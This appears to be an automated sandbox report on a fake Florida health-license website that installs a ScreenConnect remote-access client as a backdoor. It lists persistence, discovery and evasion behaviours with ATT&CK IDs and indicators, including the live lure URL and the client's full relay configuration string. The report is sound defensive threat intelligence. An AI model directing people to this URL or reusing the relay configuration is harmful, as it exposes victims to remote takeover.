hxxps://flhealthlicense[.]vercel[.]app/

Analysis

geolocation tags

nanew-jerseynorth-americaunited-statesususa
user interaction
yes
max time kernel
104s
max time network
100s
platform
windows11-21h2_x64
resource
win11-20260911-en
resource tags

arch:x64arch:x86image:win11-20260911-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
28/10/2026, 04:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://flhealthlicense.vercel.app/
Sample261028-e1jzmaxs5m

Score

8^/10

backdoor defense_evasion discovery persistence privilege_escalation ransomware rat

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
30	4656	rundll32.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
25	2516	chrome.exe

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (29a208818510d3d0)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (29a208818510d3d0)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=instance-xt1icc-relay.screenconnect.com&p=443&s=87096040-7e00-4f24-94c0-2e8aa859ea34&k=BgIAAACkAABSU0ExAAgAAAEAAQDBLcEy9mmDDbOGgHBN1NynS5EPeXTkbZAH8IlTnJk0pfOgLGZ2xlCS%2fDFz3IhkW1X2IrpSiwQem%2fUIHQSVwddL6kOsoNd6VYDt%2bSUa%2b46ZCxVvn0OCEJhNDdcPk69HV0bD0yLp8dlKBDBxhLARCJ%2f6%2f613FJrPjHPwvbg%2by%2b5iqNXzSvvq%2fpNwGgHLtmoe35%2by88zplQDdN3LGxQHgsOjJAf0LnBXPTdRn%2f2ygFX1jJlEFtnAMfocMIT%2bJ3nGTIl6eZUG84HVR9dke2KOMjdpsbnd82PEVDF0q6w6Acm9PAcDAG%2foh6YFBV088WORmdpMuUWoJ0J8RceuZOdfAVD6%2b&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAA7ygXfeOoxkiOJPaH3mFIEgAAAAACAAAAAAAQZgAAAAEAACAAAADiOfw%2fnNF%2bnaJyDQgp3SdKfyxUOKOPyttg3bpUDMtsZwAAAAAOgAAAAAIAACAAAABTBXUuo9lW4zNP8PL%2fKa7zr0Knsn%2bytXzTi%2fznlfYZIKAEAABH%2b3MY5XRAVvGciGnUPoxInZnNoYJg00xeCR3P%2blJhBqEC7RPKnCoA6lSiYb7d7kpG%2bB4d%2fZ21d6RKHIPOSwMk4FP2r1rCEbckbk9byLwhTa2e%2bBeetdGLgR01FGcBI2NZ87%2bmvt3e7eujJ87izwsBvrsCpWGTyyQ9VFififP3V4d9EqHKSVC7Gp5y7XWTt%2bIG6tauKAbrDhBnF%2btr16hwyK5wp2XQBijLubUxw98G2o9ctdaEoWhLz1c2ZZ7TABcJ%2b80yKS%2bW9hA9N2ASTr2c7eh456ByyNUMiLkomliin8xstWmT7gpvM8SRcKrrUL7KeWZT135f8hmcbTBAFoRX2VU2k0b1x6JlpwMpb9ImKSlhbmUu%2bHrepa7dxZXhpc3wDnKXqcdAQan7nvJ12auuHB0tZTXHUz9s7vGaBlCqVlGYd%2bqfU%2fsZxkMvMfSHilYEkcR6Ytl40bqLmbhlQFo74WZvDg9HxeMGuVEENu%2bBjREZ%2bJP5sV85Uzk0OcYcmsbF7KeUSpElDQW9pZ7FFeurO4M81fp2KiSDsYwIG4cM7eql56sFpIFyL4gZaIHE8WPS34Du5JsgVWlq0raRat5bwMtIrnGLe5SHTqOky2ZoF5m72KKKYaX4gadQIkD94FGoPkzx0ltab6maPxoe2toJES5s2oQB%2flJyqLFd84ouKOLrq92U1h%2bNB29NVBJcSZo0GVDxlK03tZTPYROPgzjr9JU8pBQgTpF3J4yE4A72hmjIHd7wRc9LhitoySgb6ZDVmO5IXS9d1Uvmm9z3CjsIBSy8vai3xUu8iEB3gry5LpB4ouzLyA8vBkg4W2A1SabMonmEnWKPsNJ%2fAvPwJe6hfLxO0%2fpfKfVdnTny8G16jwj%2fsrNqgpcpSAFiWHCQUMnAnQ1VVBZ9B894yPzjqkVizQkM0mJXAe6Dw7V9Fi%2bTSXo%2bAnCdcpLu3aas1Id9PoyWYPaNeAIhWgvTUwy7so%2bRNW3tyz2zo3u25f7forIeKlEFVUDOAaAdWU%2fMKvF8z9AmAk8uO8dvEiCkHFbBGtm3bnwHtwLe0SDtwc5JYjbRWItAttKZQBn3ZaoYVO0V4rg77lCfuJ9ZLXkBd%2fbN3gf2qLor6Xx%2fJsuImzBIqOoJoknrMpuanJDHI2du4%2fru3WqI55a4iaTvhG7Ng0ugTI0ZSnKoyGi5E7LXe0l4prZRPpY0OWAI7jOU%2bjyfl1M4gP%2fNAkzKp1Nf7Hm%2bpxYFvP%2blgCSPIL%2bAUrtTUixZPBsWnGYtLeQSZQEmEvkCI3XEKzKp177FJVN%2bR%2byIcnT7yUuM4JQ0WkkYhBngS1M0ZYZBroRmOHLlOBrrVAXaM5ZwmIDmi6ey0yfaFBaKTgxWJN0PzR3odArgrOUZGNOp0I6NmoEZKf0ZIQJ1zSXRZ3qWeglo3pgIS1Z5oVcB8IvHZQ529YMzTAgBDR8Gtxj8zShvsEjd%2bqAHV4J1CwzPjNJB5DHoFQoZnhjHLj1JwisYIfRq8hweDRhjdS6%2b9QbVEQIeu29xMRIhvwQPjQGw6kkAOcIgr4oWMbbuegY5QHtY4F5lJ9uChJZuu8vPXrQG2YSiskAAAADOQivjiNNh%2bU%2fSXFGGGPrJ4AwHOdCq0tJBr%2bo1oO1%2bzHGfOdvbp2nkXqWYjNdW0VFFqP3wHuyvoMUO0bbzfmB0&c=Newreothersllc&c=&c=&c=&c=&c=&c=&c=\""	ScreenConnect.ClientService.exe

ConnectWise ScreenConnect remote access tool
ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.
backdoor rat
Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 4 IoCs

pid	Process
3680	ScreenConnect.ClientSetup.exe
1816	ScreenConnect.ClientService.exe
2888	ScreenConnect.WindowsClient.exe
2440	ScreenConnect.WindowsClient.exe

Loads dropped DLL 42 IoCs

pid	Process
876	MsiExec.exe
2772	rundll32.exe
2772	rundll32.exe
2772	rundll32.exe
2772	rundll32.exe
2772	rundll32.exe
2772	rundll32.exe
2772	rundll32.exe
2772	rundll32.exe
2772	rundll32.exe
876	MsiExec.exe
4656	rundll32.exe
4656	rundll32.exe
4656	rundll32.exe
4656	rundll32.exe
4656	rundll32.exe
4656	rundll32.exe
4656	rundll32.exe
4656	rundll32.exe
4656	rundll32.exe
876	MsiExec.exe
2128	rundll32.exe
2128	rundll32.exe
2128	rundll32.exe
2128	rundll32.exe
2128	rundll32.exe
2128	rundll32.exe
2128	rundll32.exe
2128	rundll32.exe
2128	rundll32.exe
2304	MsiExec.exe
4352	MsiExec.exe
1816	ScreenConnect.ClientService.exe
1816	ScreenConnect.ClientService.exe
1816	ScreenConnect.ClientService.exe
1816	ScreenConnect.ClientService.exe
1816	ScreenConnect.ClientService.exe
1816	ScreenConnect.ClientService.exe
1816	ScreenConnect.ClientService.exe
1816	ScreenConnect.ClientService.exe
1816	ScreenConnect.ClientService.exe
1816	ScreenConnect.ClientService.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

Suspicious Windows Authentication Registry Modification.

persistence privilege_escalation

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800320039006100320030003800380031003800350031003000640033006400300029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Drops file in System32 directory 10 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (29a208818510d3d0)\js3c5cw0.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (29a208818510d3d0)\ccfnvykl.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (29a208818510d3d0)\ccfnvykl.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (29a208818510d3d0)\user.config	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (29a208818510d3d0)\ccfnvykl.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (29a208818510d3d0)\2zoeifgv.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (29a208818510d3d0)\js3c5cw0.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (29a208818510d3d0)\2zoeifgv.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (29a208818510d3d0)\2zoeifgv.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log	ScreenConnect.WindowsClient.exe

Drops file in Program Files directory 16 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (29a208818510d3d0)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (29a208818510d3d0)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (29a208818510d3d0)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (29a208818510d3d0)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (29a208818510d3d0)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (29a208818510d3d0)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (29a208818510d3d0)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (29a208818510d3d0)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (29a208818510d3d0)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (29a208818510d3d0)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (29a208818510d3d0)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (29a208818510d3d0)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (29a208818510d3d0)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (29a208818510d3d0)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (29a208818510d3d0)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (29a208818510d3d0)\system.config	msiexec.exe

Drops file in Windows directory 17 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\e59b3a6.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\SystemTemp\~DFF1E5544FEC9A42BC.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB6A5.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\{375ED4DD-AF03-1F0B-7899-E054B3D8C566}\DefaultIcon	msiexec.exe
File created	C:\Windows\Installer\e59b3a6.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{375ED4DD-AF03-1F0B-7899-E054B3D8C566}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB761.tmp	msiexec.exe
File created	C:\Windows\Installer\{375ED4DD-AF03-1F0B-7899-E054B3D8C566}\DefaultIcon	msiexec.exe
File created	C:\Windows\SystemTemp\~DF3E61C76B6FA8AF74.TMP	msiexec.exe
File created	C:\Windows\Installer\wix{375ED4DD-AF03-1F0B-7899-E054B3D8C566}.SchedServiceConfig.rmi	MsiExec.exe
File created	C:\Windows\Installer\e59b3a8.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\SystemTemp\~DFE5A15F087D759263.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB656.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DFA6BA4F6336AE57B5.TMP	msiexec.exe

Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 1 IoCs

When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

defense_evasion

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\ScreenConnect.ClientSetup.exe:Zone.Identifier	chrome.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	rundll32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	rundll32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ScreenConnect.ClientService.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ScreenConnect.ClientService.exe

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientSetup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2516	chrome.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000070afcb5a0dab181f0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff00000000270101000008000070afcb5a0000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff00000000070001000068090070afcb5a000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1a70afcb5a000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d70afcb5a000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 13 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe

Modifies registry class 37 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\sc-29a208818510d3d0	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-29a208818510d3d0\URL Protocol	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-29a208818510d3d0\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-46EF-8A1C286990D2}\InprocServer32	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DD4DE57330FAB0F187990E453B8D5C66	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DD4DE57330FAB0F187990E453B8D5C66\Version = "436666374"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DD4DE57330FAB0F187990E453B8D5C66\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\26.7.6.9783\\29a208818510d3d0\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DD4DE57330FAB0F187990E453B8D5C66\SourceList\Media	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-29a208818510d3d0\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\3D4AFC7F7155FEBD922A801858013D0D\DD4DE57330FAB0F187990E453B8D5C66	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DD4DE57330FAB0F187990E453B8D5C66\SourceList\PackageName = "ScreenConnect.ClientSetup.msi"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DD4DE57330FAB0F187990E453B8D5C66\SourceList\Media\1 = ";"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DD4DE57330FAB0F187990E453B8D5C66\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\26.7.6.9783\\29a208818510d3d0\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-46EF-8A1C286990D2}	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-46EF-8A1C286990D2}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (29a208818510d3d0)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\DD4DE57330FAB0F187990E453B8D5C66	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DD4DE57330FAB0F187990E453B8D5C66\Language = "1033"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DD4DE57330FAB0F187990E453B8D5C66\ProductIcon = "C:\\Windows\\Installer\\{375ED4DD-AF03-1F0B-7899-E054B3D8C566}\\DefaultIcon"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DD4DE57330FAB0F187990E453B8D5C66\Assignment = "1"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DD4DE57330FAB0F187990E453B8D5C66\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DD4DE57330FAB0F187990E453B8D5C66\PackageCode = "DD4DE57330FAB0F187990E453B8D5C66"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DD4DE57330FAB0F187990E453B8D5C66\InstanceType = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DD4DE57330FAB0F187990E453B8D5C66\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-29a208818510d3d0\shell\open	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-29a208818510d3d0\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (29a208818510d3d0)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-46EF-8A1C286990D2}\ = "ScreenConnect Client (29a208818510d3d0) Credential Provider"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-46EF-8A1C286990D2}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\3D4AFC7F7155FEBD922A801858013D0D	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-29a208818510d3d0\shell	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\DD4DE57330FAB0F187990E453B8D5C66\Full	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DD4DE57330FAB0F187990E453B8D5C66\ProductName = "ScreenConnect Client (29a208818510d3d0)"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DD4DE57330FAB0F187990E453B8D5C66\SourceList	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-29a208818510d3d0\UseOriginalUrlEncoding = "1"	msiexec.exe
